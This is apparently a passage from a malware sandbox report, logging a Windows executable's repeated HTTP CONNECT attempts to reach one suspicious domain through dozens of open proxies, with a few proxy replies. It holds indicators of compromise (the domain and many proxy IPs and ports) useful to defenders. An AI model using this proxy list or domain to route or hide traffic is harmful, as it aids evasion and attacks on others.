Mar 11, 2024 15:21:09.688246012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.590781927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.794226885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.997335911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.347702980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.700599909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.090912104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.793849945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.262598991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.9	50847	51.15.210.79	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.701796055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700530052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.794133902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.663459063 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.9	53263	201.217.246.212	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.704371929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.361814976 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.9	55079	14.103.24.20	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.729547977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.9	51040	82.223.121.72	64871	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.753895998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.825366974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.825475931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.825423002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.825030088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.9	50979	103.124.196.130	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.766844988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.496285915 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.9	50776	202.154.37.141	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.771186113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.887790918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.115935087 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.9	53289	110.76.129.229	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.790397882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.9	55096	38.54.101.254	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.825267076 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.9	54450	148.72.206.84	30651	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.842242002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.934514999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.934811115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.9	54623	74.118.80.244	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.845314980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.9	54364	192.252.220.92	17328	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.847031116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.9	53398	163.172.94.175	19144	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.890933990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.996944904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.079360008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.200351954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.200066090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.9	53379	70.166.167.55	57745	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.895958900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.9	55046	120.194.4.157	5443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.908868074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.621165991 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:10 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.9	55091	121.159.146.251	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.935024977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.9	55093	87.106.114.124	6005	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.942472935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.9	55102	129.213.150.205	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.945571899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.9	55086	187.63.9.62	63253	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.948949099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.9	55090	79.110.202.131	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.961687088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.9	54642	60.188.102.225	18080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.962212086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.9	55105	157.185.165.110	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.976830959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.9	54556	51.68.164.77	32824	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.984020948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.997243881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.079359055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.200433969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.200083971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.9	55095	125.107.149.245	5555	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.984020948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.9	55094	177.135.83.244	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.984205008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.9	54282	123.241.210.123	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.052134991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.137877941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.138022900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.138168097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
